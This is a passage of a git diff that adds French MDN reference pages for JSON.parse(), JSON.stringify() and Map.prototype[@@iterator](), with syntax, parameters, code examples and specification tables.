+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.JSON")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toJSON()")}}</li>
+ <li>Quelques outils permettant de manipuler des données en JSON
+  <ul>
+   <li><a href="http://jsoncompare.org/">JSON Compare</a> qui permet de comparer deux JSON</li>
+   <li><a href="http://jsonbeautifier.org/">JSON Beautifier</a> qui permet de visualiser et d'éditer un fichier JSON</li>
+   <li><a href="https://jsonparser.org/">JSON Parser</a> qui permet de formatter une chaîne JSON</li>
+   <li><a href="https://extendsclass.com/json-validator.html">JSON Formatter</a> qui permet de formatter et échapper une chaîne JSON </li>
+   <li><a href="https://tools.learningcontainer.com/json-validator/">JSON Validator</a> qui permet de valider une chaîne JSON</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/json/parse/index.html b/files/fr/web/javascript/reference/objets_globaux/json/parse/index.html
new file mode 100644
index 0000000000..9161bc2ee2
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/json/parse/index.html
@@ -0,0 +1,131 @@
+---
+title: JSON.parse()
+slug: Web/JavaScript/Reference/Objets_globaux/JSON/parse
+tags:
+  - ECMAScript 5
+  - JSON
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON/parse
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>JSON.parse()</strong></code> analyse une chaîne de caractères JSON et construit la valeur JavaScript ou l'objet décrit par cette chaîne. On peut éventuellement utiliser cette fonction avec un paramètre de modification permettant de traiter l'objet avant qu'il soit renvoyé.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/json-parse.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">JSON.parse(<var>texte</var>[, <var>reviver</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>texte</code></dt>
+ <dd>La chaine de caractère à analyser comme du JSON. Voir l'objet {{jsxref("JSON")}} pour une description de la syntaxe JSON.</dd>
+ <dt><code>reviver</code></dt>
+ <dd>Si l'argument est une fonction, effectue une opération de transformation sur la valeur analysée avant de la renvoyer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet ({{jsxref("Object")}}) correspondant au texte envoyé.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Lève une exception {{jsxref("SyntaxError")}} si la chaine de caractère à analyser ne contient pas du JSON valide.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_JSON.parse">Utiliser <code>JSON.parse()</code></h3>
+
+<pre class="brush: js">try {
+  JSON.parse('{}');              // {}
+  JSON.parse('true');            // true
+  JSON.parse('"toto"');          // "toto"
+  JSON.parse('[1, 5, "false"]'); // [1, 5, "false"]
+  JSON.parse('null');            // null
+} catch (e) {
+  console.error("Parsing error:", e);
+}
+</pre>
+
+<h3 id="Utiliser_le_paramètre_reviver">Utiliser le paramètre <code>reviver</code></h3>
+
+<p>Si un <em>reviver</em> est spécifié, la valeur obtenue par l'analyse est transformée avant d'être renvoyée. Plus précisément, la valeur calculée, et toutes les propriétés (commençant avec les propriétés les plus imbriquées), sont passées individuellement au <em>reviver</em>, qui est appelé avec : l'objet contenant la propriété en cours de traitement, le nom de la propriété en chaine de caractères et la valeur de la propriété. Si la fonction <em>reviver</em> retourne {{jsxref("undefined")}} (ou ne retourne aucune valeur, par exemple si l'exécution s'arrête à la fin de la fonction), la propriété est supprimée de l'objet. Autrement la propriété est redéfinie avec la valeur retournée.</p>
+
+<p>Si le <em>reviver</em> ne transforme que certaines valeurs et pas d'autres, assurez-vous que les valeurs inchangées soient renvoyées telles quelles. En effet, si elles ne sont pas renvoyées, elles seront supprimés sur l'objet obtenu !</p>
+
+<pre class="brush: js">JSON.parse('{"p": 5}', (key, value) =&gt; {
+  if (typeof value === 'number') {
+    return value * 2;  // renvoie value * 2 pour les nombres
+  }
+  return value;        // pour le reste, la valeur est inchangée
+});
+
+// { p: 10 }
+
+JSON.parse('{"1": 1, "2": 2,"3": {"4": 4, "5": {"6": 6}}}', (key, value) =&gt; {
+    console.log(key);            // on affiche le nom de la propriété dans la console
+    return value;                // et on renvoie la valeur inchangée.
+});
+
+// 1
+// 2
+// 4
+// 6
+// 5
+// 3
+// ""</pre>
+
+<h3 id="JSON.parse_naccepte_pas_les_virgules_en_fin_de_tableau"><code>JSON.parse()</code> n'accepte pas les virgules en fin de tableau</h3>
+
+<pre class="brush: js example-bad">// les deux instructions qui suivent lèveront une SyntaxError
+JSON.parse('[1, 2, 3, 4, ]');
+JSON.parse('{ "toto" : 1, }');
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.12.2', 'JSON.parse')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale.<br>
+    Implementée avec JavaScript 1.7.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-json.parse', 'JSON.parse')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-json.parse', 'JSON.parse')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.JSON.parse")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("JSON.stringify()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/json/stringify/index.html b/files/fr/web/javascript/reference/objets_globaux/json/stringify/index.html
new file mode 100644
index 0000000000..2243d898f3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/json/stringify/index.html
@@ -0,0 +1,372 @@
+---
+title: JSON.stringify()
+slug: Web/JavaScript/Reference/Objets_globaux/JSON/stringify
+tags:
+  - JSON
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON/stringify
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>JSON.stringify()</strong></code> convertit une valeur JavaScript en chaîne JSON. Optionnellement, elle peut remplacer des valeurs ou spécifier les propriétés à inclure si un tableau de propriétés a été fourni.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/json-stringify.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">JSON.stringify( <var>valeur</var>[, <var>remplaçant</var> [, <var>espace</var>]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur à convertir en chaîne JSON.</dd>
+ <dt><code>remplaçant</code> {{optional_inline}}</dt>
+ <dd>
+ <p>Une fonction qui modifie le processus de transformation ou un tableau de chaînes de caractères et de nombres qui sont utilisés comme liste blanche pour sélectionner/filtrer les propriétés de l'objet à inclure dans la chaîne JSON. Si cette valeur est {{jsxref("null")}} ou n'est pas fournie, toutes les propriétés de l'objet seront inclues dans la chaîne résultante.</p>
+ </dd>
+ <dt><code>espace</code> {{optional_inline}}</dt>
+ <dd>Un objet {{jsxref("String")}} ou {{jsxref("Number")}} qui est utilisé pour insérer des blancs dans la chaîne JSON produite afin de faciliter la lisibilité.</dd>
+</dl>
+
+<ul>
+ <li>Si cet argument est un nombre, il indiquera le nombre d'espaces à utiliser pour l'indentation (la valeur est ramenée à 10 si elle dépasse 10).</li>
+ <li>Si l'argument est une chaîne, les 10 premiers caractères (ou la chaîne si elle est plus courte) seront utilisés pour les blancs.</li>
+ <li>Si le paramètre n'est pas fourni (ou s'il est nul), aucun blanc ne sera utilisé.</li>
+</ul>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères JSON qui représente la valeur indiquée.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>Cette méthode lève une exception {{jsxref("TypeError")}} (« <em>cyclic object value</em> ») lorsqu'elle trouve une référence circulaire.</li>
+ <li>Cette méthode lève une exception {{jsxref("TypeError")}} (« <em>BigInt value can't be serialized in JSON</em> ») lorsqu'on tente de convertir une valeur {{jsxref("BigInt")}} en une chaîne de caractères JSON.</li>
+</ul>
+
+<h2 id="Description">Description</h2>
+
+<p>La fonction <code>JSON.stringify()</code> convertit un objet en JSON :</p>
+
+<ul>
+ <li>L'ordre des propriétés des objets qui ne sont pas des tableaux n'est pas garanti. Par la suite, ne pas supposer que cet ordre soit respecté.</li>
+ <li>Les objets {{jsxref("Boolean")}}, {{jsxref("Number")}} et {{jsxref("String")}} sont convertis en leur valeur primitive correspondante, en accord avec la sémantique traditionnelle.</li>
+ <li>Si {{jsxref("undefined")}}, une fonction ou un symbole est rencontré lors de la conversion , il est soit omis ( quand il se trouve dans un objet ) ou ramené à {{jsxref("null")}} ( quand il se trouve dans un tableau). <code>JSON.stringify()</code> peut également renvoyer <code>undefined</code> lorsqu'il reçoit des valeurs « brutes » qui ne sont pas objectifiées comme par exemple <code>JSON.stringify(function(){})</code> ou <code>JSON.stringify(undefined)</code>.</li>
+ <li>Toutes les propriétés liées aux symboles (cf. {{jsxref("Symbol")}}) seront complètement ignorées , même lorsque la fonction <code>remplaçant</code> est utilisée.</li>
+ <li>Les propriétés qui ne sont pas énumérables seront ignorées.</li>
+ <li>Les instances de {{jsxref("Date")}} implémentent la fonction <code>toJSON()</code> en renvoyant une chaîne de caractères (identique à celle renvoyée par <code>date.toISOString()</code>). Aussi, les dates sont traitées comme des chaînes de caractères.</li>
+ <li>Les nombres {{jsxref("Infinity")}} et {{jsxref("NaN")}}, ainsi que l'objet {{jsxref("null")}} sont traités comme <code>null</code>.</li>
+ <li>Pour les autres instances d'objets tels que {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("WeakMap")}} et {{jsxref("WeakSet")}}, seules les propriétés énumérables sont sérialisées.</li>
+</ul>
+
+<pre class="brush: js">JSON.stringify({});                        // '{}'
+JSON.stringify(true);                      // 'true'
+JSON.stringify("toto");                    // '"toto"'
+JSON.stringify([1, "false", false]);       // '[1,"false",false]'
+JSON.stringify([NaN, null, Infinity]);   // '[null,null,null]'
+JSON.stringify({ x: 5 });                  // '{"x":5}'
+
+JSON.stringify(new Date(2006, 0, 2, 15, 4, 5));
+// '"2006-01-02T23:04:05.000Z"'
+
+// Exemples
+JSON.stringify({x: 5, y: 6});
+// '{"x":5,"y":6}'
+JSON.stringify([new Number(3), new String("false"), new Boolean(false)]);
+// '[3,"false",false]'
+
+// Les tableaux avec des propriétés ne sont pas énumérables
+// et n'ont pas de sens selon JSON
+let a = ["toto", "truc"];
+a["bidule"] = "youpi"; // a:[ 0: "toto", 1: "truc", bidule: "youpi"]
+JSON.stringify(a);
+// '["toto","truc"]'
+
+// Symboles
+JSON.stringify({x: undefined, y: Object, z: Symbol("")});
+// '{}'
+JSON.stringify({[Symbol("toto")]: "toto"});
+// '{}'
+JSON.stringify({[Symbol.for("toto")]: "toto"}, [Symbol.for("toto")]);
+// '{}'
+JSON.stringify({[Symbol.for("toto")]: "toto"}, function (k, v) {
+  if (typeof k === "symbol"){
+    return "a symbol";
+  }
+});
+// '{}'
+JSON.stringify({ x: [10, undefined, function(){}, Symbol('')] });
+// '{"x":[10,null,null,null]}'
+
+// Structures de données classiques
+JSON.stringify([new Set([1]), new Map([[1, 2]]), new WeakSet([{a: 1}]), new WeakMap([[{a: 1}, 2]])]);
+// '[{},{},{},{}]'
+
+// TypedArray
+JSON.stringify([new Int8Array([1]), new Int16Array([1]), new Int32Array([1])]);
+// '[{"0":1},{"0":1},{"0":1}]'
+JSON.stringify([new Uint8Array([1]), new Uint8ClampedArray([1]), new Uint16Array([1]), new Uint32Array([1])]);
+// '[{"0":1},{"0":1},{"0":1},{"0":1}]'
+JSON.stringify([new Float32Array([1]), new Float64Array([1])]);
+// '[{"0":1},{"0":1}]'
+
+// toJSON()
+JSON.stringify({ x: 5, y: 6, toJSON(){ return this.x + this.y; } });
+// '11'
+
+// Symbols:
+JSON.stringify({ x: undefined, y: Object, z: Symbol('') });
+// '{}'
+JSON.stringify({ [Symbol('foo')]: 'foo' });
+// '{}'
+JSON.stringify({ [Symbol.for('foo')]: 'foo' }, [Symbol.for('foo')]);
+// '{}'
+JSON.stringify({ [Symbol.for('foo')]: 'foo' }, function(k, v) {
+  if (typeof k === 'symbol') {
+    return 'a symbol';
+  }
+});
+// undefined
+
+// Propriétés non énumérables
+JSON.stringify(Object.create(null, { x: { value: 'x', enumerable: false }, y: { value: 'y', enumerable: true } }) );
+// '{"y":"y"}'
+
+// Échec avec BigInt
+JSON.stringify({x: 2n});
+// TypeError: BigInt value can't be serialized in JSON
+</pre>
+
+<h3 id="L'argument_remplaçant">L'argument <code>remplaçant</code></h3>
+
+<p>L'argument <code>remplaçant</code> est une fonction ou un tableau. Si c'est une fonction, elle prend deux paramètres : une clé et la valeur qui est traitée pour être convertie en chaîne. L'objet dans lequel la clé a été trouvée sera fourni comme paramètre <code>this</code> pour la fonction. Cette fonction est d'abord appelée avec une chaîne vide comme clé représentant l'objet à transformer puis elle est appelée sur chaque propriété de l'objet ou du tableau à transformer en chaîne. Cette fonction renvoie la valeur à ajouter à la chaîne JSON :</p>
+
+<ul>
+ <li>Si la valeur renvoyée est un nombre ({{jsxref("Number")}}), la chaîne correspondante au nombre sera utilisée comme valeur à ajouter à la chaîne pour représenter la valeur de la propriété traitée.</li>
+ <li>Si la valeur renvoyée est une chaîne de caractères ({{jsxref("String")}}), cette chaîne sera utilisée pour représenter la valeur de la propriété dans la chaîne JSON.</li>
+ <li>Si la valeur renvoyée est un {{jsxref("Boolean")}}, "true" ou "false" sera utilisé pour représenter la valeur de la propriété et sera ajouté à la chaîne JSON.</li>
+ <li>Si la valeur renvoyée est <code>null</code>, <code>null</code> sera ajouté à la chaîne JSON.</li>
+ <li>Si la valeur renvoyée est un autre objet, cet objet sera, de façon récursive, transformé en une chaîne JSON en appelant la fonction <code>remplaçant</code> sur chaque propriété sauf si l'objet est une fonction auquel cas, rien n'est ajouté à la chaîne JSON.</li>
+ <li>Si la valeur renvoyée est {{jsxref("undefined")}}, la propriété ne sera pas incluse dans la chaîne JSON.</li>
+</ul>
+
+<div class="note"><strong>Note :</strong> la fonction <code>remplaçant</code> ne peut pas être utilisée pour retirer des valeurs d'un tableau. Si on renvoie <code>undefined</code> ou une fonction, ce sera la valeur <code>null</code> qui sera utilisée.</div>
+
+<div class="note"><strong>Note :</strong> Si on souhaite que la fonction <code>remplaçant</code> distingue un objet dont une propriété a un clé qui est « réellement » une chaîne vide, il faudra avoir un compteur pour le nombre d'itération. Si le compteur indique que la première itération est passée, alors il s'agit bien d'un clé avec une chaîne vide.</div>
+
+<h4 id="Exemple_avec_une_fonction">Exemple avec une fonction</h4>
+
+<pre class="brush: js">function remplaçant(clé, valeur) {
+  if (typeof valeur === "string") {
+    return undefined;
+  }
+  return valeur;
+}
+
+var toto = {fondation: "Mozilla", modèle: "boîte", semaine: 45, transport: "bus", mois: 7};
+console.log(JSON.stringify(toto, remplaçant)); // {"semaine":45, "mois":7}
+</pre>
+
+<h4 id="Exemple_avec_un_tableau">Exemple avec un tableau</h4>
+
+<p>Si <code>remplaçant</code> est un tableau, les valeurs du tableau indiquent les propriétés de l'objet à inclure dans la chaîne JSON.</p>
+
+<pre class="brush: js">JSON.stringify(toto, ['semaine', 'mois']);
+// '{"semaine":45,"mois":7}', on ne garde que "semaines" et "mois"
+</pre>
+
+<h3 id="L'argument_espace">L'argument <code>espace</code></h3>
+
+<p>L'argument <code>espace</code> est utilisé pour contrôler les espacements utilisés dans la chaîne finale.</p>
+
+<ul>
+ <li>Si c'est un nombre, les différents niveaux d'indentation auront autant d'espaces qu'indiqué grâce à ce paramètre (jusqu'à 10).</li>
+ <li>Si c'est une chaîne, les dix premiers caractères (ou la chaîne complète si elle est plus courte)</li>
+</ul>
+
+<pre class="brush: js">JSON.stringify({ a: 2 }, null, ' ');
+// '{
+//  "a": 2
+// }'
+</pre>
+
+<p>Dans l'exemple suivant on utilise la tabulation pour rendre lisible le résultat :</p>
+
+<pre class="brush: js">JSON.stringify({ uno: 1, dos: 2 }, null, '\t');
+// renverra
+// '{
+//     "uno": 1,
+//     "dos": 2
+// }'
+</pre>
+
+<h3 id="La_fonction_toJSON()">La fonction <code>toJSON()</code></h3>
+
+<p>Pour personnaliser la valeur d'un objet lors de sa conversion en JSON, on peut surcharger la méthode <code>toJSON()</code> : la valeur retournée par cette méthode <code>toJSON()</code> sera alors utilisée. <code>JSON.stringify()</code> invoquera la méthode <code>toJSON()</code> de l'objet avec un paramètre :</p>
+
+<ul>
+ <li>Si cet objet est une propriété de donnée, ce sera le nom de la propriété</li>
+ <li>Si cet objet est un tableau, ce sera l'indice de l'élément du tableau sous la forme d'une chaîne de caractères</li>
+ <li>Une chaîne vide si <code>JSON.stringify()</code> était directement appelé sur l'objet.</li>
+</ul>
+
+<p>Ainsi :</p>
+
+<pre class="brush: js">var obj = {
+  data: 'data',
+  toJSON(clef){
+    if(clef) {
+      return `Un objet imbriqué sous la clef '${clef}'`;
+    } else {
+      return this;
+    }
+  }
+};
+
+JSON.stringify(obj);
+// '{"data":"data"}'
+
+JSON.stringify({ obj })
+// '{"obj":"Un objet imbriqué sous la clef 'obj'"}'
+
+JSON.stringify([ obj ])
+// '["Un objet imbriqué sous la clef '0'"]'
+</pre>
+
+<h3 id="Le_problème_des_références_circulaires">Le problème des références circulaires</h3>
+
+<p><a href="https://www.json.org/">Le format JSON</a> ne prend pas en charge les références (bien <a href="http://tools.ietf.org/html/draft-pbryan-zyp-json-ref-03">qu'un brouillon IETF existe</a>) et une exception {{jsxref("TypeError")}} sera levée si on tente d'encoder un objet possédant des références circulaires.</p>
+
+<pre class="brush: js example-bad">const circularReference = {};
+circularReference.myself = circularReference;
+
+// Sérialiser un objet avec des références circulaires déclenche une "TypeError: cyclic object value"
+JSON.stringify(circularReference);
+</pre>
+
+<p>Pour sérialiser les références circulaires, on peut utiliser une bibliothèque (<a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a> par exemple) ou implémenter sa propre solution (qui consistera à trouver et à remplacer le cycle par des valeurs sérialisables).</p>
+
+<h3 id="Gestion_des_terminateurs_de_ligne">Gestion des terminateurs de ligne</h3>
+
+<p>Par le passé, JSON n'était pas un sous-ensemble strict de JavaScript. En effet, en JSON, deux terminateurs de ligne (le caractère de séparation de ligne U+2028 LINE SEPARATOR et le caractère de séparation de paragraphe U+2029 PARAGRAPH SEPARATOR) n'avaient pas besoin d'être échappés dans des données JSON alors qu'ils devaient l'être en JavaScript. Cela a désormais évolué et les deux points de code peuvent apparaître tant en JSON qu'en JavaScript.</p>
+
+<p>Ainsi, si on souhaite avoir une compatibilité avec les anciens moteurs JavaScript, on pourra évaluer ou utiliser les données JSON avec <a href="https://fr.wikipedia.org/wiki/JSONP">JSONP</a> et la fonction utilitaire suivante :</p>
+
+<pre class="brush: js">function jsFriendlyJSONStringify (s) {
+    return JSON.stringify(s).
+        replace(/\u2028/g, '\\u2028').
+        replace(/\u2029/g, '\\u2029');
+}
+
+var s = {
+    a: String.fromCharCode(0x2028),
+    b: String.fromCharCode(0x2029)
+};
+
+// dans Firefox, console.log enlève les échappements
+// des caractères Unicode, on utilise donc alert :(
+alert(jsFriendlyJSONStringify(s)); // {"a":"\u2028","b":"\u2029"}</pre>
+
+<div class="blockIndicator note">
+<p><strong>Notes :</strong> Les propriétés des objets qui ne sont pas des tableaux ne sont pas transformées en chaînes de caractères selon un ordre particulier. Aussi, l'ordre des données en JSON ne saurait constituer une information utile.</p>
+</div>
+
+<pre class="brush: js">var a = JSON.stringify({toto: "truc", bidule: "machin"});
+// '{"toto":"truc","bidule":"machin"}'
+var b = JSON.stringify({bidule: "machin", toto: "truc"});
+// '{"bidule":"machin","toto":"truc"}'
+console.log(a !== b); // true
+</pre>
+
+<h3 id="Utiliser_JSON.stringify_avec_localStorage">Utiliser <code>JSON.stringify</code> avec localStorage</h3>
+
+<p>Dans le cas où on souhaite enregistrer un objet créé par l'utilisateur afin de le restorer plus tard (y compris après que le navigateur ait été fermé), on peut utiliser <code>JSON.stringify</code>.</p>
+
+<div class="warning">
+<p>Les fonctions n'ont pas de correspondances en JSON, il ne sera donc pas possible de les enregistrer de cette façon. En revanche, elles peuvent être affichées si elles ont été converties en texte avec la fonction de remplacement. De même, certains objets comme les dates seront transformées en chaîne de caractères après l'utilisation de JSON.parse().</p>
+</div>
+
+<pre class="brush: js">// On crée un objet pour l'exemple
+var session = {
+    'screens' : [],
+    'state' : true
+};
+session.screens.push({"name":"screenA", "width":450, "height":250});
+session.screens.push({"name":"screenB", "width":650, "height":350});
+session.screens.push({"name":"screenC", "width":750, "height":120});
+session.screens.push({"name":"screenD", "width":250, "height":60});
+session.screens.push({"name":"screenE", "width":390, "height":120});
+session.screens.push({"name":"screenF", "width":1240, "height":650});
+
+// On convertit l'objet en une chaîne JSON
+// et on enregistre cette valeur avec le nom 'session'
+localStorage.setItem('session', JSON.stringify(session));
+
+// Ici, on reconvertit la chaîne en un objet
+// JSON.stringify and saved in localStorage in JSON object again
+var sessionRestaurée = JSON.parse(localStorage.getItem('session'));
+
+// La variable sessionRestaurée contient désormais l'objet précédent
+// qui avait été sauvegardé dans localStorage
+console.log(sessionRestaurée);
+</pre>
+
+<h3 id="Chaînes_bien_formées_et_JSON.stringify()">Chaînes bien formées et <code>JSON.stringify()</code></h3>
+
+<p>Les moteurs, qui implémentent la spécification sur JSON.stringify() bien formé, transformeront en chaîne de caractères les éléments isolés de paires <em>surrogates</em> via des séquences d'échappement Unicode plutôt que d'utiliser leurs valeurs littérales. Avant cette modification de spécification, <code>JSON.stringify()</code> n'aurait pas encodé les éléments <em>surrogates</em> isolés et les chaînes produites n'étaient pas valides selon UTF-8 ou UTF-16 :</p>
+
+<pre class="brush: js">JSON.stringify("\uD800"); // '"�"'</pre>
+
+<p>Avec cette modification, les séquences d'échappement produites permettent d'avoir un contenu UTF-16 ou UTF-8 lisible :</p>
+
+<pre class="brush: js">JSON.stringify("\uD800"); // '"\\ud800"'</pre>
+
+<p>Cette modification est rétrocompatible pour toutes les opérations où le résultat de <code>JSON.stringify()</code> est passé à des API comme <code>JSON.parse()</code> qui acceptent du texte JSON valide. En effet, ces API traiteront les séquences d'échappement de <em>surrogates</em> isolés comme les caractères correspondants. Seul le cas où le code interprète directement le résultat de <code>JSON.stringify()</code> doit être adapté afin de gérer les deux encodages possibles pour ces cas.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.12.3', 'JSON.stringify')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.7.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-json.stringify', 'JSON.stringify')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-json.stringify', 'JSON.stringify')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.JSON.stringify")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("JSON.parse()")}}</li>
+ <li><a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a> qui ajoute deux fonctions <code>JSON.decycle</code> et <code>JSON.retrocycle</code> qui permettent d'encoder et de décoder des structures cycliques.</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/@@iterator/index.html b/files/fr/web/javascript/reference/objets_globaux/map/@@iterator/index.html
new file mode 100644
index 0000000000..e8e5a27315
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/map/@@iterator/index.html
@@ -0,0 +1,92 @@
+---
+title: 'Map.prototype[@@iterator]()'
+slug: Web/JavaScript/Reference/Objets_globaux/Map/@@iterator
+tags:
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Map
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@iterator
+---
+<div>{{JSRef}}</div>
+
+<p>La valeur initiale de la propriété <code><strong>@@iterator</strong></code> est la même fonction que la valeur initiale de la propriété {{jsxref("Map.prototype.entries()", "entries")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-@@iterator.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>maMap</em>[Symbol.iterator]</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La fonction d'itération (le symbole <code>@@iterator</code>) de l'objet, par défaut, c'est la fonction {{jsxref("Map.prototype.entries()","entries()")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_iterator()">Utiliser <code>[@@iterator]()</code></h3>
+
+<pre class="brush:js">var maMap = new Map();
+maMap.set("0", "toto");
+maMap.set(1, "truc");
+maMap.set({}, "bidule");
+
+var mapIter = myMap[Symbol.iterator]();
+
+console.log(mapIter.next().value); // ["0", "toto"]
+console.log(mapIter.next().value); // [1, "truc"]
+console.log(mapIter.next().value); // [Object, "bidule"]
+</pre>
+
+<h3 id="Utiliser_iterator()_avec_for..of">Utiliser <code>[@@iterator]()</code> avec <code>for..of</code></h3>
+
+<pre class="brush:js">var maMap = new Map();
+maMap.set("0", "toto");
+maMap.set(1, "truc");
+maMap.set({}, "bidule");
+
+for (var v of maMap) {
+  console.log(v);
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype-@@iterator', 'Map.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype-@@iterator', 'Map.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Map.@@iterator")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype.entries()")}}</li>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/@@species/index.html b/files/fr/web/javascript/reference/objets_globaux/map/@@species/index.html
new file mode 100644
index 0000000000..edeb984260
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/map/@@species/index.html
@@ -0,0 +1,72 @@
+---
